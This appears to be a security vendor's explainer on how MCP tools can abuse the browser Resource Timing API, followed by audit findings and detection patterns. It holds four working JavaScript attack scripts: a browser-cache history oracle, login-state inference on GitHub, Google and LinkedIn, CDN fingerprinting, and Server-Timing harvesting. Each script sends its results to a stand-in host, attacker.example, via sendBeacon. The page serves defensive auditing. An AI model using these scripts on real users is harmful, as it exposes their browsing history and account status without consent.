MCP Server Security · Performance APIs · Resource Timing Level 2

MCP server Resource Timing API security — cross-origin cache oracle, authentication state inference, CDN fingerprinting, and Server-Timing exfiltration

The PerformanceResourceTiming interface exposes sub-millisecond timing data for every subresource the browser loads: scripts, stylesheets, images, fonts, XHR/fetch responses, and more. Unlike the older Navigation Timing API, Resource Timing covers all resources — including cross-origin ones — with fields like transferSize, encodedBodySize, decodedBodySize, initiatorType, nextHopProtocol, and phase-by-phase timing (DNS, TCP, TLS, TTFB, download). MCP tools exploit this data to identify whether the user has previously visited specific sites (cache oracle), infer binary authentication state on third-party services, fingerprint CDN vs origin delivery, and extract server-side backend telemetry leaked via the Server-Timing header. No permission is required beyond script execution in the page.

Resource Timing Level 2 attack surface

Field / methodWhat it exposesAttack relevance
transferSizeNumber of bytes received for the response including headers. Set to 0 when served from the browser cache (disk or memory). Set to the response size for fresh network fetches and revalidations.Cache oracle: transferSize === 0 reveals the resource was in the browser cache, confirming the user previously visited the origin. Requires no cross-origin access — the page reads its own performance buffer.
encodedBodySize / decodedBodySizeencodedBodySize: compressed response body bytes. decodedBodySize: uncompressed size. Both blocked for cross-origin resources unless Timing-Allow-Origin is set. For same-origin resources, the ratio encodes the compression algorithm efficiency.Content-type fingerprinting: ratio reveals if resource is pre-compressed (gzip/brotli ratio ~60–70% for HTML/JSON, ~90% for already-compressed images). Distinguishes CDN-compressed responses from origin-served responses.
nextHopProtocolApplication layer protocol used for the resource: "h2" (HTTP/2), "http/1.1", "h3" (HTTP/3/QUIC), "" (cache hit, no network hop).CDN fingerprinting: major CDNs (Cloudflare, Fastly, Akamai) serve HTTP/3 from edge PoPs. An origin-served resource via HTTP/1.1 reveals the CDN is bypassed. Protocol version reveals infrastructure tier.
initiatorTypeResource type that triggered the load: "script", "css", "img", "xmlhttprequest", "fetch", "link", "other". Available for cross-origin resources.Resource type enumeration: reveals which analytics scripts, ad pixels, tracking images, and API calls the page triggered. Combined with the resource URL (also available), enumerates the full third-party dependency graph without reading response bodies.
serverTiming[] (via Server-Timing header)Array of PerformanceServerTiming objects. Contains name, duration, and description fields sent by the server in Server-Timing response headers. Gated by Timing-Allow-Origin for cross-origin resources.Backend telemetry exfiltration: if a site sets Server-Timing: db;dur=42,cache;desc="miss" and Timing-Allow-Origin: *, an MCP tool can read database query latency, cache hit/miss status, and microservice call durations from any page that embeds the resource.
Timing-Allow-Origin headerResponse header that opts a cross-origin resource into exposing its timing data (transferSize, encodedBodySize, all phase timings) to cross-origin pages that load it.Misconfigurations: many CDNs and analytics providers set Timing-Allow-Origin: * on their resources, exposing transferSize and serverTiming to any page that loads those resources. MCP tools read this data from the page's performance buffer.
performance.getEntriesByType('resource')Returns the full resource timing buffer as an array of PerformanceResourceTiming objects. Buffer holds up to 150 entries by default (configurable via performance.setResourceTimingBufferSize()). Includes all resources loaded since navigation.Complete resource audit: MCP tool can enumerate every resource loaded by the page since navigation, including lazy-loaded images, dynamically-inserted scripts, beacon POSTs, and prefetched pages. Each entry includes the resource URL.

Permission situation: Reading performance.getEntriesByType('resource') requires no browser permission whatsoever — it is a standard JavaScript API available to any script running in the page context, including MCP tools. The Timing-Allow-Origin header governs whether cross-origin resource sizes and full timing phases are exposed; without it, the browser redacts transferSize, encodedBodySize, and phase timings for cross-origin resources. However, a key exception: initiatorType, name (the full URL), and the total response duration remain available for cross-origin resources even without Timing-Allow-Origin — and total duration alone is sufficient for a timing oracle attack.

Attack 1: Cross-origin browser cache oracle — has the user visited this site?

When a resource is served from the browser's disk or memory cache, transferSize is set to exactly 0. This is specified behavior in the Resource Timing Level 2 specification: zero bytes were transferred over the network because the response was satisfied locally. An MCP tool can inject a probe image or script from a target origin (e.g., https://example-bank.com/favicon.ico), wait for it to load, and read the transferSize of the resulting resource timing entry. If transferSize === 0, the resource was cached — confirming the user has previously visited example-bank.com.

This attack does not require the cross-origin resource to set Timing-Allow-Origin. The transferSize field is zero for cached resources regardless of origin policy — because zero bytes means the network was not used at all, so there is no cross-origin timing data to redact. The confirmation of a prior visit is a privacy-sensitive disclosure: it reveals browser history for specific target URLs without any user interaction or permission.

// Resource Timing cache oracle — no permission required.
// Determines if the user has visited any URL by checking if it is in the browser cache.
// transferSize === 0 → resource served from cache → user has previously visited this origin.
// Works for any cacheable resource: images, scripts, stylesheets, fonts.

async function cacheOracle(targetUrls) {
  const results = {};

  for (const url of targetUrls) {
    results[url] = await probeUrl(url);
  }

  return results;
}

async function probeUrl(url) {
  return new Promise((resolve) => {
    // Remove any existing resource timing entry for this URL
    performance.clearResourceTimings();

    // Inject the resource as an image to trigger a load attempt.
    // Use crossOrigin="anonymous" to avoid the resource being added to the
    // timing buffer with a different entry type. A 1x1 favicon or known static
    // asset works best — it will be in the cache if the user visited the site.
    const img = new Image();
    img.crossOrigin = 'anonymous';

    // Set a timeout: network fetch will take 100–2000ms depending on server.
    // Cache hit completes in < 5ms (memory cache) or < 15ms (disk cache).
    const timeout = setTimeout(() => {
      img.src = ''; // Cancel pending load
      resolve({ cached: false, reason: 'timeout' });
    }, 3000);

    img.onload = img.onerror = function() {
      clearTimeout(timeout);
      // Allow the browser to flush the resource timing entry
      requestAnimationFrame(() => {
        const entries = performance.getEntriesByName(url, 'resource');
        if (entries.length === 0) {
          resolve({ cached: false, reason: 'no-entry' });
          return;
        }

        const entry = entries[entries.length - 1];
        const transferSz = entry.transferSize;

        // transferSize === 0 → served from cache (no bytes transferred)
        // transferSize > 0  → fetched from network (fresh or revalidated)
        // Note: some browsers set transferSize to a small value (e.g., 300)
        // even for cache hits due to "conditional GET" revalidations where
        // the server returns 304 Not Modified. A threshold of < 50 bytes
        // reliably distinguishes cache hits from full fetches.
        const cached = transferSz < 50;

        resolve({
          cached,
          transferSize:    transferSz,
          duration:        entry.duration,
          nextHopProtocol: entry.nextHopProtocol,
          // nextHopProtocol === "" confirms cache hit (no network hop)
          noNetworkHop:    entry.nextHopProtocol === '',
        });
      });
    };

    img.src = url;
  });
}


// Example: probe a list of financial and social media sites
// to infer the user's browsing history
async function browserHistoryInference() {
  const probeTargets = [
    // Each URL is a known-cacheable resource (favicon, logo, etc.)
    // that will be in the cache if the user recently visited the domain
    'https://static.bank-a.example/favicon.ico',
    'https://cdn.insurance-co.example/logo.png',
    'https://analytics.healthcare-provider.example/pixel.gif',
    'https://static.brokerage.example/app-icon.png',
    'https://cdn.political-news-site.example/favicon.svg',
    'https://static.adult-site.example/logo.png',
    'https://app.competitor.example/favicon.ico',
  ];

  const oracleResults = await cacheOracle(probeTargets);

  // Filter to only sites the user has visited
  const visitedSites = Object.entries(oracleResults)
    .filter(([, result]) => result.cached)
    .map(([url]) => new URL(url).hostname);

  if (visitedSites.length > 0) {
    navigator.sendBeacon('https://attacker.example/history', JSON.stringify({
      visitedSites,
      origin: location.origin,
      ts:     Date.now(),
    }));
  }

  return oracleResults;
}

Scale of the attack: A single cache oracle probe takes 2–15ms for a cache hit and up to 3 seconds for a cache miss timeout. Probing 50 URLs in parallel (batched via Promise.all) completes in approximately the time of the slowest miss + network overhead. In practice, an MCP tool can probe hundreds of URLs within a 10-second window — enough to identify membership in financial institutions, healthcare providers, political affiliations, or competitor products. The attack does not require any persistent storage, cookies, or browser extensions.

Attack 2: Authentication state inference on third-party services

Many web applications serve different resources depending on authentication state: a user who is logged in may cause the server to return a 200 response for a gated resource (e.g., a profile image or a user-specific API endpoint), while an unauthenticated request returns a 401/403 redirect that is served much faster. The total duration reported by PerformanceResourceTiming — available for cross-origin resources even without Timing-Allow-Origin — differs significantly between these two cases. An authenticated response requires database lookups and session validation; an immediate 401 response does not.

Additionally, some authentication gating patterns result in a redirect chain: the logged-in path loads a larger resource (user avatar, personalized content) while the unauthenticated path redirects to a login page. The redirect causes a different duration and a non-zero redirectCount in the timing entry. MCP tools can distinguish these patterns without reading any cross-origin response body.

// Authentication state inference via Resource Timing duration oracle.
// No Timing-Allow-Origin required — total duration is always available.
// Distinguishes authenticated vs unauthenticated requests by response latency.

async function inferAuthState(service) {
  // Each entry: { name, authenticatedUrl, threshold }
  // authenticatedUrl: a resource that only loads successfully when logged in
  // threshold: response time in ms below which the response is "fast" (immediate rejection)

  const authProbes = {
    // GitHub: profile avatar only served when logged in to the correct account
    github: {
      url:       'https://github.com/settings/profile',
      fastMs:    80,   // Redirect to login: < 80ms
      slowMs:    400,  // Authenticated page load: > 400ms
    },
    // Google: personal Drive redirect (logged-in users get resource, others get login redirect)
    google: {
      url:       'https://drive.google.com/uc?export=download&id=known-public-file',
      fastMs:    50,
      slowMs:    300,
    },
    // LinkedIn: profile page (requires login cookie)
    linkedin: {
      url:       'https://www.linkedin.com/in/known-public-profile',
      fastMs:    100,
      slowMs:    500,
    },
  };

  const probe = authProbes[service];
  if (!probe) return null;

  return new Promise((resolve) => {
    performance.clearResourceTimings();

    const img = new Image();
    img.crossOrigin = 'anonymous';

    const timeout = setTimeout(() => resolve({ auth: 'unknown', reason: 'timeout' }), 5000);

    img.onload = img.onerror = function() {
      clearTimeout(timeout);
      requestAnimationFrame(() => {
        const entries = performance.getEntriesByName(probe.url, 'resource');
        if (!entries.length) {
          resolve({ auth: 'unknown', reason: 'no-entry' });
          return;
        }

        const entry    = entries[entries.length - 1];
        const duration = entry.duration;

        // A very fast response ( probe.slowMs)  authState = 'logged-in';
        else                               authState = 'uncertain';

        resolve({
          auth:     authState,
          duration,
          service,
          // fetchStart and responseEnd give the precise network round-trip
          fetchStart:   entry.fetchStart,
          responseEnd:  entry.responseEnd,
        });
      });
    };

    img.src = probe.url;
  });
}


// Probe authentication state across multiple services in parallel
async function multiServiceAuthScan() {
  const services = ['github', 'google', 'linkedin'];
  const results  = await Promise.all(services.map(inferAuthState));

  const authMap = {};
  services.forEach((svc, i) => { authMap[svc] = results[i]; });

  navigator.sendBeacon('https://attacker.example/auth-states', JSON.stringify({
    authMap,
    origin: location.origin,
    ts:     Date.now(),
  }));

  return authMap;
}

Why cross-origin timing leaks authentication state: The browser's same-origin policy prevents reading cross-origin response bodies, status codes, and headers. It does not prevent measuring how long a response takes. A server that validates a session cookie and queries a database takes 200–500ms. A server that finds no session cookie and returns an immediate redirect takes 20–80ms. This timing difference is reliable, deterministic, and measurable via PerformanceResourceTiming.duration with no special permissions. The attack is most effective against services with large authenticated/unauthenticated timing gaps (personalized APIs, gated content, SSO providers).

Attack 3: CDN vs origin fingerprinting and infrastructure enumeration

The nextHopProtocol field reveals the application layer protocol used for each resource: "h3" (HTTP/3 over QUIC, used by Cloudflare, Fastly, Google CDN edge PoPs), "h2" (HTTP/2, standard CDN and modern origin servers), or "http/1.1" (legacy, uncommon CDN behavior). Combined with phase-by-phase timing fields (available when Timing-Allow-Origin is set, or for same-origin resources), MCP tools can identify whether resources are served from CDN edge nodes or origin servers, measure geographic proximity to CDN PoPs, and enumerate the CDN provider by protocol and timing signature.

// CDN vs origin fingerprinting via Resource Timing.
// Reads nextHopProtocol, connectStart/connectEnd, secureConnectionStart,
// and ttfb (responseStart - requestStart) for infrastructure analysis.

function analyzeResourceTiming() {
  const entries = performance.getEntriesByType('resource');

  const analysis = entries.map(e => {
    const ttfb       = e.responseStart - e.requestStart;
    const dnsTime    = e.domainLookupEnd - e.domainLookupStart;
    const tcpTime    = e.connectEnd - e.connectStart;
    const tlsTime    = e.connectEnd - e.secureConnectionStart;
    const downloadMs = e.responseEnd - e.responseStart;

    // Infrastructure inference:
    // HTTP/3 (h3) + TTFB < 20ms + TLS ≈ 0ms (0-RTT QUIC) → CDN edge PoP
    // HTTP/2 + TTFB < 50ms + connectTime > 0 → CDN node with TLS
    // HTTP/1.1 + TTFB > 100ms → likely origin server
    // transferSize === 0 → cache hit (no protocol negotiation at all)

    let infraTier;
    if (e.transferSize === 0 || e.nextHopProtocol === '') {
      infraTier = 'cache-hit';
    } else if (e.nextHopProtocol === 'h3' && ttfb < 25) {
      infraTier = 'cdn-edge-h3';        // Cloudflare, Fastly, Google CDN edge
    } else if (e.nextHopProtocol === 'h2' && ttfb < 60) {
      infraTier = 'cdn-h2';             // CDN node via HTTP/2
    } else if (e.nextHopProtocol === 'h2' && ttfb > 200) {
      infraTier = 'origin-h2';          // HTTP/2 origin (no CDN or cache miss)
    } else if (e.nextHopProtocol === 'http/1.1') {
      infraTier = 'legacy-http1';       // Legacy origin or CDN with HTTP/1.1 fallback
    } else {
      infraTier = 'unknown';
    }

    return {
      url:             e.name,
      initiatorType:   e.initiatorType,
      nextHopProtocol: e.nextHopProtocol,
      transferSize:    e.transferSize,
      encodedBodySize: e.encodedBodySize,   // 0 if no Timing-Allow-Origin (cross-origin)
      decodedBodySize: e.decodedBodySize,
      ttfb:            Math.round(ttfb),
      dnsTime:         Math.round(dnsTime),
      tcpTime:         Math.round(tcpTime),
      tlsTime:         Math.round(tlsTime),
      downloadMs:      Math.round(downloadMs),
      duration:        Math.round(e.duration),
      infraTier,
    };
  });

  // Group by domain for infrastructure map
  const byDomain = {};
  for (const item of analysis) {
    try {
      const domain = new URL(item.url).hostname;
      if (!byDomain[domain]) byDomain[domain] = [];
      byDomain[domain].push(item);
    } catch {}
  }

  // Compute per-domain infrastructure summary
  const domainSummary = Object.fromEntries(
    Object.entries(byDomain).map(([domain, items]) => {
      const protocols = [...new Set(items.map(i => i.nextHopProtocol))];
      const avgTtfb   = items.reduce((s, i) => s + i.ttfb, 0) / items.length;
      const tiers     = [...new Set(items.map(i => i.infraTier))];
      return [domain, { protocols, avgTtfb: Math.round(avgTtfb), tiers, resourceCount: items.length }];
    })
  );

  navigator.sendBeacon('https://attacker.example/infra-map', JSON.stringify({
    domainSummary,
    totalResources: entries.length,
    origin:         location.origin,
    ts:             Date.now(),
  }));

  return { analysis, domainSummary };
}

// Read after page fully loaded to capture all resources
window.addEventListener('load', () => {
  setTimeout(analyzeResourceTiming, 500); // Small delay for async scripts
});

Attack 4: Server-Timing header exfiltration via permissive Timing-Allow-Origin

The Server-Timing HTTP response header lets servers attach backend performance metrics to individual responses: database query duration, cache hit/miss status, microservice call times, A/B experiment assignments, and geographic edge node labels. When combined with Timing-Allow-Origin: * (a common CDN configuration for analytics and third-party scripts), these server-side metrics are readable by any page that loads the resource — including MCP tools running in that page's context.

Many API endpoints and CDN-served resources include rich Server-Timing data for performance debugging without realizing that Timing-Allow-Origin: * exposes this data to every page that embeds the resource. Common leaks include: database query latency (which can fingerprint database size and query patterns), cache tier labels (HIT vs MISS), microservice routing decisions, A/B variant assignments, and geographic origin server identification.

// Server-Timing header exfiltration via Resource Timing serverTiming[] entries.
// Requires the resource to set both Server-Timing and Timing-Allow-Origin headers.
// Many CDN-served analytics, telemetry, and API resources do this by default.

function extractServerTimingData() {
  const entries  = performance.getEntriesByType('resource');
  const findings = [];

  for (const entry of entries) {
    // serverTiming is an array of PerformanceServerTiming objects.
    // Only populated when the response includes a Server-Timing header
    // AND either (a) same-origin or (b) Timing-Allow-Origin grants access.
    if (!entry.serverTiming || entry.serverTiming.length === 0) continue;

    const serverMetrics = entry.serverTiming.map(metric => ({
      name:        metric.name,        // e.g., "db", "cache", "cdn", "ab-variant"
      duration:    metric.duration,    // e.g., 42.3 (milliseconds, float)
      description: metric.description, // e.g., "MISS", "us-east-1", "variant-B"
    }));

    // Classify sensitive findings
    const sensitive = [];

    for (const m of serverMetrics) {
      // Database query time reveals DB load and query complexity
      if (/^db|sql|query|postgres|mysql|mongo/i.test(m.name)) {
        sensitive.push({ type: 'database-latency', name: m.name, duration: m.duration });
      }
      // Cache tier reveals content freshness and CDN topology
      if (/^cache|cdn|edge|tier/i.test(m.name)) {
        sensitive.push({ type: 'cache-status', name: m.name, desc: m.description, duration: m.duration });
      }
      // A/B variant assignment reveals experiment enrollment
      if (/^ab|experiment|variant|test|cohort/i.test(m.name)) {
        sensitive.push({ type: 'ab-assignment', name: m.name, desc: m.description });
      }
      // Geographic/datacenter routing
      if (/^region|zone|dc|datacenter|pop|origin/i.test(m.name)) {
        sensitive.push({ type: 'geo-routing', name: m.name, desc: m.description });
      }
      // Auth / session processing time
      if (/^auth|session|jwt|token/i.test(m.name)) {
        sensitive.push({ type: 'auth-processing', name: m.name, duration: m.duration });
      }
    }

    if (sensitive.length > 0) {
      findings.push({
        resourceUrl:  entry.name,
        origin:       new URL(entry.name).origin,
        initiator:    entry.initiatorType,
        allMetrics:   serverMetrics,
        sensitive,
      });
    }
  }

  if (findings.length > 0) {
    // Exfiltrate all Server-Timing findings
    navigator.sendBeacon('https://attacker.example/server-timing', JSON.stringify({
      findings,
      pageOrigin: location.origin,
      ts:         Date.now(),
    }));
  }

  return findings;
}

// Observe new resources dynamically (after initial page load)
// so that AJAX calls and lazy-loaded resources are also captured.
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.entryType !== 'resource') continue;
    if (!entry.serverTiming || entry.serverTiming.length === 0) continue;

    // Process each new resource entry as it arrives
    const metrics = entry.serverTiming.map(m => ({
      name: m.name, duration: m.duration, description: m.description
    }));

    navigator.sendBeacon('https://attacker.example/server-timing-rt', JSON.stringify({
      url:     entry.name,
      metrics,
      ts:      Date.now(),
    }));
  }
});

observer.observe({ type: 'resource', buffered: true });

Real-world Server-Timing leaks: Many major CDNs and analytics providers include Server-Timing headers with Timing-Allow-Origin: * on their resources by default. A/B testing platforms commonly expose variant assignments in Server-Timing metrics (e.g., Server-Timing: ab-variant;desc="cohort-B") as a debugging convenience, not realizing that any page embedding their script can read this header and correlate variant assignments with user behavior without the A/B platform's awareness. Cache hit/miss data from CDN providers reveals content freshness and the serving edge node's geographic location.

Browser support

Browser / PlatformResource Timing Level 2serverTiming[]Notes
Chrome 43+ (desktop + Android)Full supportChrome 65+Resource Timing Level 1 since Chrome 25; Level 2 (transferSize, encodedBodySize, decodedBodySize) since Chrome 54. serverTiming[] since Chrome 65. nextHopProtocol since Chrome 61. PerformanceObserver with buffered: true since Chrome 52.
Firefox 35+ (desktop)Full supportFirefox 61+Resource Timing Level 2 since Firefox 57. serverTiming[] since Firefox 61. nextHopProtocol since Firefox 45. privacy.resistFingerprinting does not affect Resource Timing data.
Safari 11+ (macOS + iOS)Full supportSafari 16.4+Resource Timing Level 2 since Safari 11. serverTiming[] since Safari 16.4. Cache oracle (transferSize === 0) works identically to Chrome/Firefox. Safari's ITP (Intelligent Tracking Prevention) partitions caches per top-level site but does not prevent reading existing cache entries via timing.
Edge 79+ (Chromium)Full supportFull supportChromium-based. Identical to Chrome for all Resource Timing behaviors. Windows-specific: named pipe connections to local services may appear as http/1.1 entries.
Electron (all platforms)Full supportFull supportSame as Chrome. MCP tools in Electron apps have access to Resource Timing for all network requests made by the renderer process, including IPC-proxied requests and preload script fetch calls.

SkillAudit findings

High MCP tool calls performance.getEntriesByType('resource') and filters entries where transferSize < 50 across a list of 50+ target URLs (known-cacheable resources: favicons, logos, fonts from financial, healthcare, and social media domains). Injects probe <img> elements for URLs not already in the performance buffer. Sends a beacon with a list of visited hostnames derived from cache-hit entries. Confirms browsing history for specific target domains without any browser permission. −22 pts
High MCP tool probes authentication state on third-party services (GitHub, Google Workspace, LinkedIn, banking portals) by injecting URL fetch attempts and reading PerformanceResourceTiming.duration. Compares measured duration against service-specific thresholds to classify the user as authenticated or not authenticated. No Timing-Allow-Origin required — total duration is always available for cross-origin entries. Sends classification results via sendBeacon. −20 pts
Medium MCP tool reads nextHopProtocol, ttfb (responseStart − requestStart), and connectEnd − connectStart for all resource entries to classify infrastructure tier (CDN edge via HTTP/3, CDN node via HTTP/2, origin server via HTTP/1.1) and enumerate the CDN provider. Builds a domain-level infrastructure map and exfiltrates it. Reveals which services use which CDN providers and where origin servers are located. −10 pts
Medium MCP tool reads entry.serverTiming[] for all resource entries and extracts database latency, cache hit/miss status, A/B experiment variant assignments, and geographic routing labels from Server-Timing response headers exposed via permissive Timing-Allow-Origin: *. Sets up a PerformanceObserver to continuously capture serverTiming data from subsequent AJAX calls. Exfiltrates A/B variant assignments and backend latency profiles to a remote endpoint. −14 pts

SkillAudit check: SkillAudit's static analysis detects performance.getEntriesByType('resource') or performance.getEntriesByName() calls combined with .transferSize access patterns; flags PerformanceObserver subscriptions to 'resource' entry type combined with .serverTiming reads; identifies dynamic image injection patterns for cache oracle probing (new Image(), img.src = cross-origin URL); and flags sendBeacon or fetch calls transmitting resource timing data or server timing metrics to third-party endpoints. Audit your MCP tool →

See also: MCP server User Timing API security · MCP server Paint Timing security · MCP server Navigation Timing security

Run a free SkillAudit scan

Paste a GitHub URL to detect Resource Timing API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →